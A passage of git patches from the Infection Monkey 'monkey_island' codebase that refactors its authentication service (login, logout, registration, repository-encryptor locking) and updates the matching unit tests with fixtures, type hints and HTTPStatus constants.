2 +- .../monkey_island/cc/resources/auth/test_login.py | 10 +++++----- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/resources/auth/login.py b/monkey/monkey_island/cc/resources/auth/login.py index 85f1ac32234..48c12c859a6 100644 --- a/monkey/monkey_island/cc/resources/auth/login.py +++ b/monkey/monkey_island/cc/resources/auth/login.py @@ -43,6 +43,6 @@ def post(self): return response_to_invalid_request() if response.status_code == HTTPStatus.OK: - self._authentication_service.unlock_repository_encryptor(username, password) + self._authentication_service.handle_successful_login(username, password) return make_response(response) diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_login.py b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_login.py index 4c2bf9c6b99..2916e66f36a 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_login.py +++ b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_login.py @@ -29,12 +29,12 @@ def test_credential_parsing(make_login_request, mock_authentication_service, mon ) make_login_request(TEST_REQUEST) - mock_authentication_service.unlock_repository_encryptor.assert_called_with(USERNAME, PASSWORD) + mock_authentication_service.handle_successful_login.assert_called_with(USERNAME, PASSWORD) def test_empty_credentials(make_login_request, mock_authentication_service): make_login_request("{}") - mock_authentication_service.unlock_repository_encryptor.assert_not_called() + mock_authentication_service.handle_successful_login.assert_not_called() def test_login_successful(make_login_request, monkeypatch): @@ -61,7 +61,7 @@ def test_login_failure(make_login_request, mock_authentication_service, monkeypa response = make_login_request(TEST_REQUEST) assert response.status_code == 400 - mock_authentication_service.unlock_repository_encryptor.assert_not_called() + mock_authentication_service.handle_successful_login.assert_not_called() @pytest.mark.parametrize( @@ -86,7 +86,7 @@ def test_login_invalid_request( response = make_login_request(b"{}") assert response.status_code == 400 - mock_authentication_service.unlock_repository_encryptor.assert_not_called() + mock_authentication_service.handle_successful_login.assert_not_called() def test_login_error(monkeypatch, make_login_request, mock_authentication_service): @@ -96,7 +96,7 @@ def test_login_error(monkeypatch, make_login_request, mock_authentication_servic status=200, ), ) - mock_authentication_service.unlock_repository_encryptor = MagicMock(side_effect=Exception()) + mock_authentication_service.handle_successful_login = MagicMock(side_effect=Exception()) response = make_login_request(TEST_REQUEST) From 91f5a9f57cfc12087723002ba8905e2641384b4b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 8 Mar 2023 08:53:56 -0500 Subject: [PATCH 0519/1338] UT: Add test_handle_sucessful_logout() --- .../cc/services/test_authentication_service.py | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py index b320a8cdb62..f4dd14de1a0 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py @@ -77,3 +77,16 @@ def test_handle_successful_registration( call(topic=IslandEventTopic.SET_ISLAND_MODE, mode=IslandMode.UNSET), ] ) + + +def test_handle_sucessful_logout( + mock_flask_app, + tmp_path, + mock_repository_encryptor, + mock_island_event_queue, +): + a_s = AuthenticationService(tmp_path, mock_repository_encryptor, mock_island_event_queue) + + a_s.handle_successful_logout() + + assert mock_repository_encryptor.lock.call_count == 1 From fc35af540ef987cfbe4fcb263a737da31730a0bb Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 8 Mar 2023 09:00:01 -0500 Subject: [PATCH 0520/1338] UT: Add a fixture for AuthenticationService --- .../services/test_authentication_service.py | 52 ++++++++----------- 1 file changed, 22 insertions(+), 30 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py index f4dd14de1a0..fefbb8400f4 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py @@ -1,3 +1,4 @@ +from pathlib import Path from unittest.mock import MagicMock, call import pytest @@ -18,51 +19,46 @@ @pytest.fixture -def mock_repository_encryptor(autouse=True): +def mock_repository_encryptor(autouse=True) -> ILockableEncryptor: return MagicMock(spec=ILockableEncryptor) @pytest.fixture -def mock_island_event_queue(autouse=True): +def mock_island_event_queue(autouse=True) -> IIslandEventQueue: return MagicMock(spec=IIslandEventQueue) -def test_needs_registration__true( +@pytest.fixture +def authentication_service( mock_flask_app, - tmp_path, - mock_repository_encryptor, - mock_island_event_queue, -): - a_s = AuthenticationService(tmp_path, mock_repository_encryptor, mock_island_event_queue) + tmp_path: Path, + mock_repository_encryptor: ILockableEncryptor, + mock_island_event_queue: IIslandEventQueue, +) -> AuthenticationService: + return AuthenticationService(tmp_path, mock_repository_encryptor, mock_island_event_queue) + - assert a_s.needs_registration() +def test_needs_registration__true(authentication_service: AuthenticationService): + assert authentication_service.needs_registration() def test_needs_registration__false( monkeypatch, - mock_flask_app, - tmp_path, - mock_repository_encryptor, - mock_island_event_queue, + authentication_service: AuthenticationService, ): - a_s = AuthenticationService(tmp_path, mock_repository_encryptor, mock_island_event_queue) - mock_user = MagicMock(spec=User) monkeypatch.setattr("monkey_island.cc.services.authentication_service.User", mock_user) mock_user.objects.first.return_value = User(username=USERNAME) - assert not a_s.needs_registration() + assert not authentication_service.needs_registration() def test_handle_successful_registration( - mock_flask_app, - tmp_path, - mock_repository_encryptor, - mock_island_event_queue, + mock_repository_encryptor: ILockableEncryptor, + mock_island_event_queue: IIslandEventQueue, + authentication_service: AuthenticationService, ): - a_s = AuthenticationService(tmp_path, mock_repository_encryptor, mock_island_event_queue) - - a_s.handle_successful_registration(USERNAME, PASSWORD) + authentication_service.handle_successful_registration(USERNAME, PASSWORD) assert mock_repository_encryptor.unlock.call_args[0][0] != USERNAME assert mock_repository_encryptor.unlock.call_args[0][0] != PASSWORD @@ -80,13 +76,9 @@ def test_handle_successful_registration( def test_handle_sucessful_logout( - mock_flask_app, - tmp_path, - mock_repository_encryptor, - mock_island_event_queue, + mock_repository_encryptor: ILockableEncryptor, + authentication_service: AuthenticationService, ): - a_s = AuthenticationService(tmp_path, mock_repository_encryptor, mock_island_event_queue) - - a_s.handle_successful_logout() + authentication_service.handle_successful_logout() assert mock_repository_encryptor.lock.call_count == 1 From d53efaa8f107f084dc4cc0fcf187c60f312d5fee Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 8 Mar 2023 15:21:41 +0100 Subject: [PATCH 0521/1338] UT: Add type hints to auth endpoints --- .../cc/resources/auth/test_login.py | 20 ++++++++++++++----- .../cc/resources/auth/test_logout.py | 10 ++++++++-- .../cc/resources/auth/test_register.py | 18 +++++++++++++---- 3 files changed, 37 insertions(+), 11 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_login.py b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_login.py index 2916e66f36a..6722967b626 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_login.py +++ b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_login.py @@ -4,6 +4,7 @@ from flask import Response from monkey_island.cc.resources.auth import Login +from monkey_island.cc.services import AuthenticationService USERNAME = "test_user" PASSWORD = "test_password" @@ -20,7 +21,9 @@ def inner(request_body): return inner -def test_credential_parsing(make_login_request, mock_authentication_service, monkeypatch): +def test_credential_parsing( + monkeypatch, make_login_request, mock_authentication_service: AuthenticationService +): monkeypatch.setattr( "monkey_island.cc.resources.auth.login.login", lambda: Response( @@ -32,7 +35,7 @@ def test_credential_parsing(make_login_request, mock_authentication_service, mon mock_authentication_service.handle_successful_login.assert_called_with(USERNAME, PASSWORD) -def test_empty_credentials(make_login_request, mock_authentication_service): +def test_empty_credentials(make_login_request, mock_authentication_service: AuthenticationService): make_login_request("{}") mock_authentication_service.handle_successful_login.assert_not_called() @@ -50,7 +53,9 @@ def test_login_successful(make_login_request, monkeypatch): assert response.status_code == 200 -def test_login_failure(make_login_request, mock_authentication_service, monkeypatch): +def test_login_failure( + monkeypatch, make_login_request, mock_authentication_service: AuthenticationService +): monkeypatch.setattr( "monkey_island.cc.resources.auth.login.login", lambda: Response( @@ -79,7 +84,10 @@ def test_login_failure(make_login_request, mock_authentication_service, monkeypa ], ) def test_login_invalid_request( - monkeypatch, login_response, make_login_request, mock_authentication_service + monkeypatch, + login_response, + make_login_request, + mock_authentication_service: AuthenticationService, ): monkeypatch.setattr("monkey_island.cc.resources.auth.login.login", lambda: login_response) @@ -89,7 +97,9 @@ def test_login_invalid_request( mock_authentication_service.handle_successful_login.assert_not_called() -def test_login_error(monkeypatch, make_login_request, mock_authentication_service): +def test_login_error( + monkeypatch, make_login_request, mock_authentication_service: AuthenticationService +): monkeypatch.setattr( "monkey_island.cc.resources.auth.login.login", lambda: Response( diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_logout.py b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_logout.py index c812f366cb5..6fde62bba94 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_logout.py +++ b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_logout.py @@ -2,6 +2,7 @@ from flask import Response from monkey_island.cc.resources.auth import Logout +from monkey_island.cc.services import AuthenticationService USERNAME = "test_user" PASSWORD = "test_password" @@ -29,7 +30,10 @@ def inner(request_body): ], ) def test_logout_failed( - monkeypatch, make_logout_request, mock_authentication_service, logout_response + monkeypatch, + logout_response, + make_logout_request, + mock_authentication_service: AuthenticationService, ): monkeypatch.setattr("monkey_island.cc.resources.auth.logout.logout", lambda: logout_response) response = make_logout_request(TEST_REQUEST) @@ -38,7 +42,9 @@ def test_logout_failed( assert response.status_code == 400 -def test_logout_successful(monkeypatch, make_logout_request, mock_authentication_service): +def test_logout_successful( + monkeypatch, make_logout_request, mock_authentication_service: AuthenticationService +): monkeypatch.setattr( "monkey_island.cc.resources.auth.logout.logout", lambda: Response( diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_register.py b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_register.py index a100f08295a..cccf1decf2b 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_register.py +++ b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_register.py @@ -4,6 +4,7 @@ from flask import Response from monkey_island.cc.resources.auth import Register +from monkey_island.cc.services import AuthenticationService USERNAME = "test_user" PASSWORD = "test_password" @@ -20,14 +21,18 @@ def inner(request_body): return inner -def test_register_failed(monkeypatch, make_registration_request, mock_authentication_service): +def test_register_failed( + monkeypatch, make_registration_request, mock_authentication_service: AuthenticationService +): response = make_registration_request("{}") mock_authentication_service.handle_successful_registration.assert_not_called() assert response.status_code == 400 -def test_register_successful(monkeypatch, make_registration_request, mock_authentication_service): +def test_register_successful( + monkeypatch, make_registration_request, mock_authentication_service: AuthenticationService +): monkeypatch.setattr( "monkey_island.cc.resources.auth.register.register", lambda: Response( @@ -58,7 +63,10 @@ def test_register_successful(monkeypatch, make_registration_request, mock_authen ], ) def test_register_invalid_request( - monkeypatch, register_response, make_registration_request, mock_authentication_service + monkeypatch, + register_response, + make_registration_request, + mock_authentication_service: AuthenticationService, ): monkeypatch.setattr( "monkey_island.cc.resources.auth.register.register", lambda: register_response @@ -70,7 +78,9 @@ def test_register_invalid_request( mock_authentication_service.handle_successful_registration.assert_not_called() -def test_register_error(monkeypatch, make_registration_request, mock_authentication_service): +def test_register_error( + monkeypatch, make_registration_request, mock_authentication_service: AuthenticationService +): monkeypatch.setattr( "monkey_island.cc.resources.auth.register.register", lambda: Response(status=200), From 0270a0661f8ff43fa2865437dce396a5340b3c62 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 8 Mar 2023 15:27:20 +0100 Subject: [PATCH 0522/1338] UT: Use HTTPStatus in auth endpoints --- .../cc/resources/auth/test_login.py | 17 +++++++++-------- .../cc/resources/auth/test_logout.py | 8 +++++--- .../cc/resources/auth/test_register.py | 13 +++++++------ 3 files changed, 21 insertions(+), 17 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_login.py b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_login.py index 6722967b626..4a70e8f19fb 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_login.py +++ b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_login.py @@ -1,3 +1,4 @@ +from http import HTTPStatus from unittest.mock import MagicMock import pytest @@ -27,7 +28,7 @@ def test_credential_parsing( monkeypatch.setattr( "monkey_island.cc.resources.auth.login.login", lambda: Response( - status=200, + status=HTTPStatus.OK, ), ) @@ -44,13 +45,13 @@ def test_login_successful(make_login_request, monkeypatch): monkeypatch.setattr( "monkey_island.cc.resources.auth.login.login", lambda: Response( - status=200, + status=HTTPStatus.OK, ), ) response = make_login_request(TEST_REQUEST) - assert response.status_code == 200 + assert response.status_code == HTTPStatus.OK def test_login_failure( @@ -59,13 +60,13 @@ def test_login_failure( monkeypatch.setattr( "monkey_island.cc.resources.auth.login.login", lambda: Response( - status=400, + status=HTTPStatus.BAD_REQUEST, ), ) response = make_login_request(TEST_REQUEST) - assert response.status_code == 400 + assert response.status_code == HTTPStatus.BAD_REQUEST mock_authentication_service.handle_successful_login.assert_not_called() @@ -93,7 +94,7 @@ def test_login_invalid_request( response = make_login_request(b"{}") - assert response.status_code == 400 + assert response.status_code == HTTPStatus.BAD_REQUEST mock_authentication_service.handle_successful_login.assert_not_called() @@ -103,7 +104,7 @@ def test_login_error( monkeypatch.setattr( "monkey_island.cc.resources.auth.login.login", lambda: Response( - status=200, + status=HTTPStatus.OK, ), ) mock_authentication_service.handle_successful_login = MagicMock(side_effect=Exception()) @@ -111,4 +112,4 @@ def test_login_error( response = make_login_request(TEST_REQUEST) assert "access_token" not in response.json - assert response.status_code == 500 + assert response.status_code == HTTPStatus.INTERNAL_SERVER_ERROR diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_logout.py b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_logout.py index 6fde62bba94..7d76ebf3873 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_logout.py +++ b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_logout.py @@ -1,3 +1,5 @@ +from http import HTTPStatus + import pytest from flask import Response @@ -39,7 +41,7 @@ def test_logout_failed( response = make_logout_request(TEST_REQUEST) mock_authentication_service.handle_successful_logout.assert_not_called() - assert response.status_code == 400 + assert response.status_code == HTTPStatus.BAD_REQUEST def test_logout_successful( @@ -48,11 +50,11 @@ def test_logout_successful( monkeypatch.setattr( "monkey_island.cc.resources.auth.logout.logout", lambda: Response( - status=200, + status=HTTPStatus.OK, ), ) response = make_logout_request("") - assert response.status_code == 200 + assert response.status_code == HTTPStatus.OK mock_authentication_service.handle_successful_logout.assert_called_once() diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_register.py b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_register.py index cccf1decf2b..f5a4379193f 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_register.py +++ b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_register.py @@ -1,3 +1,4 @@ +from http import HTTPStatus from unittest.mock import MagicMock import pytest @@ -27,7 +28,7 @@ def test_register_failed( response = make_registration_request("{}") mock_authentication_service.handle_successful_registration.assert_not_called() - assert response.status_code == 400 + assert response.status_code == HTTPStatus.BAD_REQUEST def test_register_successful( @@ -36,13 +37,13 @@ def test_register_successful( monkeypatch.setattr( "monkey_island.cc.resources.auth.register.register", lambda: Response( - status=200, + status=HTTPStatus.OK, ), ) response = make_registration_request(TEST_REQUEST) - assert response.status_code == 200 + assert response.status_code == HTTPStatus.OK mock_authentication_service.handle_successful_registration.assert_called_with( USERNAME, PASSWORD ) @@ -74,7 +75,7 @@ def test_register_invalid_request( response = make_registration_request(b"{}") - assert response.status_code == 400 + assert response.status_code == HTTPStatus.BAD_REQUEST mock_authentication_service.handle_successful_registration.assert_not_called() @@ -83,11 +84,11 @@ def test_register_error( ): monkeypatch.setattr( "monkey_island.cc.resources.auth.register.register", - lambda: Response(status=200), + lambda: Response(status=HTTPStatus.OK), ) mock_authentication_service.handle_successful_registration = MagicMock(side_effect=Exception()) response = make_registration_request(TEST_REQUEST) - assert response.status_code == 500 + assert response.status_code == HTTPStatus.INTERNAL_SERVER_ERROR From 2d27112721bbb747499d355b8e3a5f3edf02e3f5 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 8 Mar 2023 19:12:45 +0100 Subject: [PATCH 0523/1338] UT: Save User model in needs_registration__false test --- .../monkey_island/cc/services/test_authentication_service.py | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py index fefbb8400f4..64b9113c533 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py @@ -46,10 +46,7 @@ def test_needs_registration__false( monkeypatch, authentication_service: AuthenticationService, ): - mock_user = MagicMock(spec=User) - monkeypatch.setattr("monkey_island.cc.services.authentication_service.User", mock_user) - mock_user.objects.first.return_value = User(username=USERNAME) - + User(username=USERNAME, password=PASSWORD).save() assert not authentication_service.needs_registration() From 03239138fd7e38ffba77b857154cad8c91b777e8 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 8 Mar 2023 13:12:10 -0500 Subject: [PATCH 0524/1338] Island: Rename AuthenticationService.{,_}unlock_repository_encryptor() --- monkey/monkey_island/cc/services/authentication_service.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service.py b/monkey/monkey_island/cc/services/authentication_service.py index 4f8f3b05bf9..0551d734ca3 100644 --- a/monkey/monkey_island/cc/services/authentication_service.py +++ b/monkey/monkey_island/cc/services/authentication_service.py @@ -48,9 +48,9 @@ def _reset_repository_encryptor(self, username: str, password: str): self._repository_encryptor.unlock(secret.encode()) def handle_successful_login(self, username: str, password: str): - self.unlock_repository_encryptor(username, password) + self._unlock_repository_encryptor(username, password) - def unlock_repository_encryptor(self, username: str, password: str): + def _unlock_repository_encryptor(self, username: str, password: str): secret = _get_secret_from_credentials(username, password) self._repository_encryptor.unlock(secret.encode()) From dd5e3d7d3a138e609a4ce07fcacec8b3d1559cf9 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 8 Mar 2023 13:12:55 -0500 Subject: [PATCH 0525/1338] Island: Rename AuthenticationService.{,_}lock_repository_encryptor() --- monkey/monkey_island/cc/services/authentication_service.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service.py b/monkey/monkey_island/cc/services/authentication_service.py index 0551d734ca3..a500a3c64e8 100644 --- a/monkey/monkey_island/cc/services/authentication_service.py +++ b/monkey/monkey_island/cc/services/authentication_service.py @@ -55,9 +55,9 @@ def _unlock_repository_encryptor(self, username: str, password: str): self._repository_encryptor.unlock(secret.encode()) def handle_successful_logout(self): - self.lock_repository_encryptor() + self._lock_repository_encryptor() - def lock_repository_encryptor(self): + def _lock_repository_encryptor(self): self._repository_encryptor.lock() From 0730d8d133c0ccc3359b0e0e969366a06f68dcd5 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 8 Mar 2023 13:15:04 -0500 Subject: [PATCH 0526/1338] UT: Group asserts in test_handle_successful_registration() --- .../monkey_island/cc/services/test_authentication_service.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py index 64b9113c533..f15a9db524f 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py @@ -59,10 +59,9 @@ def test_handle_successful_registration( assert mock_repository_encryptor.unlock.call_args[0][0] != USERNAME assert mock_repository_encryptor.unlock.call_args[0][0] != PASSWORD + assert mock_island_event_queue.publish.call_count == 3 mock_repository_encryptor.reset_key.assert_called_once() mock_repository_encryptor.unlock.assert_called_once() - - assert mock_island_event_queue.publish.call_count == 3 mock_island_event_queue.publish.assert_has_calls( [ call(IslandEventTopic.CLEAR_SIMULATION_DATA), From 4775737a28828745bfb058b9b2de0f08b48854c2 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 8 Mar 2023 19:23:52 +0100 Subject: [PATCH 0527/1338] UT: Add handle_successful_login test --- .../cc/services/test_authentication_service.py | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py index f15a9db524f..394f1c41d3d 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py @@ -77,4 +77,15 @@ def test_handle_sucessful_logout( ): authentication_service.handle_successful_logout() - assert mock_repository_encryptor.lock.call_count == 1 + mock_repository_encryptor.lock.assert_called_once() + + +def test_handle_sucessful_login( + mock_repository_encryptor: ILockableEncryptor, + authentication_service: AuthenticationService, +): + authentication_service.handle_successful_login(USERNAME, PASSWORD) + + mock_repository_encryptor.unlock.assert_called_once() + assert mock_repository_encryptor.unlock.call_args[0][0] != USERNAME + assert mock_repository_encryptor.unlock.call_args[0][0] != PASSWORD From 277b27f8c7221a1ac5702effa0ab4c03ec822dbe Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 8 Mar 2023 19:42:00 +0100 Subject: [PATCH 0528/1338] Island: Move AuthenticationService to authentication_service dir --- monkey/monkey_island/cc/resources/auth/login.py | 2 +- monkey/monkey_island/cc/resources/auth/logout.py | 2 +- monkey/monkey_island/cc/resources/auth/registration_status.py | 3 +-- monkey/monkey_island/cc/services/__init__.py | 1 - .../cc/services/authentication_service/__init__.py | 1 + .../{ => authentication_service}/authentication_service.py | 0 monkey/monkey_island/cc/services/initialize.py | 2 +- .../unit_tests/monkey_island/cc/resources/auth/conftest.py | 2 +- .../unit_tests/monkey_island/cc/resources/auth/test_login.py | 2 +- .../unit_tests/monkey_island/cc/resources/auth/test_logout.py | 2 +- .../monkey_island/cc/resources/auth/test_register.py | 2 +- .../test_authentication_service.py | 2 +- 12 files changed, 10 insertions(+), 11 deletions(-) create mode 100644 monkey/monkey_island/cc/services/authentication_service/__init__.py rename monkey/monkey_island/cc/services/{ => authentication_service}/authentication_service.py (100%) rename monkey/tests/unit_tests/monkey_island/cc/services/{ => authentication_service}/test_authentication_service.py (97%) diff --git a/monkey/monkey_island/cc/resources/auth/login.py b/monkey/monkey_island/cc/resources/auth/login.py index 48c12c859a6..a6be5aa377e 100644 --- a/monkey/monkey_island/cc/resources/auth/login.py +++ b/monkey/monkey_island/cc/resources/auth/login.py @@ -8,7 +8,7 @@ from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.resources.auth.credential_utils import get_username_password_from_request from monkey_island.cc.server_utils.response_utils import response_to_invalid_request -from monkey_island.cc.services import AuthenticationService +from monkey_island.cc.services.authentication_service import AuthenticationService logger = logging.getLogger(__name__) diff --git a/monkey/monkey_island/cc/resources/auth/logout.py b/monkey/monkey_island/cc/resources/auth/logout.py index 5468042f9bc..83bc66e9a1f 100644 --- a/monkey/monkey_island/cc/resources/auth/logout.py +++ b/monkey/monkey_island/cc/resources/auth/logout.py @@ -7,7 +7,7 @@ from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.server_utils.response_utils import response_to_invalid_request -from monkey_island.cc.services import AuthenticationService +from monkey_island.cc.services.authentication_service import AuthenticationService logger = logging.getLogger(__name__) diff --git a/monkey/monkey_island/cc/resources/auth/registration_status.py b/monkey/monkey_island/cc/resources/auth/registration_status.py index 0bd3726de50..08dd47f1987 100644 --- a/monkey/monkey_island/cc/resources/auth/registration_status.py +++ b/monkey/monkey_island/cc/resources/auth/registration_status.py @@ -1,9 +1,8 @@ from monkey_island.cc.flask_utils import AbstractResource -from monkey_island.cc.services import AuthenticationService +from monkey_island.cc.services.authentication_service import AuthenticationService class RegistrationStatus(AbstractResource): - urls = ["/api/registration-status"] def __init__(self, authentication_service: AuthenticationService): diff --git a/monkey/monkey_island/cc/services/__init__.py b/monkey/monkey_island/cc/services/__init__.py index 2b7ab4e7eb8..ff2d605b68d 100644 --- a/monkey/monkey_island/cc/services/__init__.py +++ b/monkey/monkey_island/cc/services/__init__.py @@ -1,5 +1,4 @@ from .agent_signals_service import AgentSignalsService -from .authentication_service import AuthenticationService from .aws import AWSService diff --git a/monkey/monkey_island/cc/services/authentication_service/__init__.py b/monkey/monkey_island/cc/services/authentication_service/__init__.py new file mode 100644 index 00000000000..5eb152868be --- /dev/null +++ b/monkey/monkey_island/cc/services/authentication_service/__init__.py @@ -0,0 +1 @@ +from .authentication_service import AuthenticationService diff --git a/monkey/monkey_island/cc/services/authentication_service.py b/monkey/monkey_island/cc/services/authentication_service/authentication_service.py similarity index 100% rename from monkey/monkey_island/cc/services/authentication_service.py rename to monkey/monkey_island/cc/services/authentication_service/authentication_service.py diff --git a/monkey/monkey_island/cc/services/initialize.py b/monkey/monkey_island/cc/services/initialize.py index dc048789fd8..a027dde0f46 100644 --- a/monkey/monkey_island/cc/services/initialize.py +++ b/monkey/monkey_island/cc/services/initialize.py @@ -71,7 +71,7 @@ from monkey_island.cc.services.run_local_monkey import LocalMonkeyRunService from monkey_island.cc.setup.mongo.mongo_setup import MONGO_URL -from . import AuthenticationService +from .authentication_service import AuthenticationService from .reporting.report import ReportService logger = logging.getLogger(__name__) diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/conftest.py index 2010adae784..ba3806cf16b 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/conftest.py @@ -3,7 +3,7 @@ import pytest from tests.common import StubDIContainer -from monkey_island.cc.services import AuthenticationService +from monkey_island.cc.services.authentication_service import AuthenticationService @pytest.fixture diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_login.py b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_login.py index 4a70e8f19fb..ba60194b21b 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_login.py +++ b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_login.py @@ -5,7 +5,7 @@ from flask import Response from monkey_island.cc.resources.auth import Login -from monkey_island.cc.services import AuthenticationService +from monkey_island.cc.services.authentication_service import AuthenticationService USERNAME = "test_user" PASSWORD = "test_password" diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_logout.py b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_logout.py index 7d76ebf3873..fab50f34d5a 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_logout.py +++ b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_logout.py @@ -4,7 +4,7 @@ from flask import Response from monkey_island.cc.resources.auth import Logout -from monkey_island.cc.services import AuthenticationService +from monkey_island.cc.services.authentication_service import AuthenticationService USERNAME = "test_user" PASSWORD = "test_password" diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_register.py b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_register.py index f5a4379193f..79282ed7b7a 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_register.py +++ b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_register.py @@ -5,7 +5,7 @@ from flask import Response from monkey_island.cc.resources.auth import Register -from monkey_island.cc.services import AuthenticationService +from monkey_island.cc.services.authentication_service import AuthenticationService USERNAME = "test_user" PASSWORD = "test_password" diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py similarity index 97% rename from monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py rename to monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py index 394f1c41d3d..c0ca382310b 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py @@ -6,7 +6,7 @@ from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic from monkey_island.cc.models import IslandMode, User from monkey_island.cc.server_utils.encryption import ILockableEncryptor -from monkey_island.cc.services import AuthenticationService +from monkey_island.cc.services.authentication_service import AuthenticationService USERNAME = "user1" PASSWORD = "test" From 62419f6f6b2971f3d23520174077c70c43338f6f Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 8 Mar 2023 19:51:09 +0100 Subject: [PATCH 0529/1338] Island: Move Role and User in authentication_service dir --- monkey/monkey_island/cc/app.py | 3 ++- monkey/monkey_island/cc/models/__init__.py | 2 -- .../services/authentication_service/authentication_service.py | 3 ++- .../cc/{models => services/authentication_service}/role.py | 0 .../cc/{models => services/authentication_service}/user.py | 0 .../authentication_service/test_authentication_service.py | 3 ++- monkey/tests/unit_tests/monkey_island/conftest.py | 3 ++- 7 files changed, 8 insertions(+), 6 deletions(-) rename 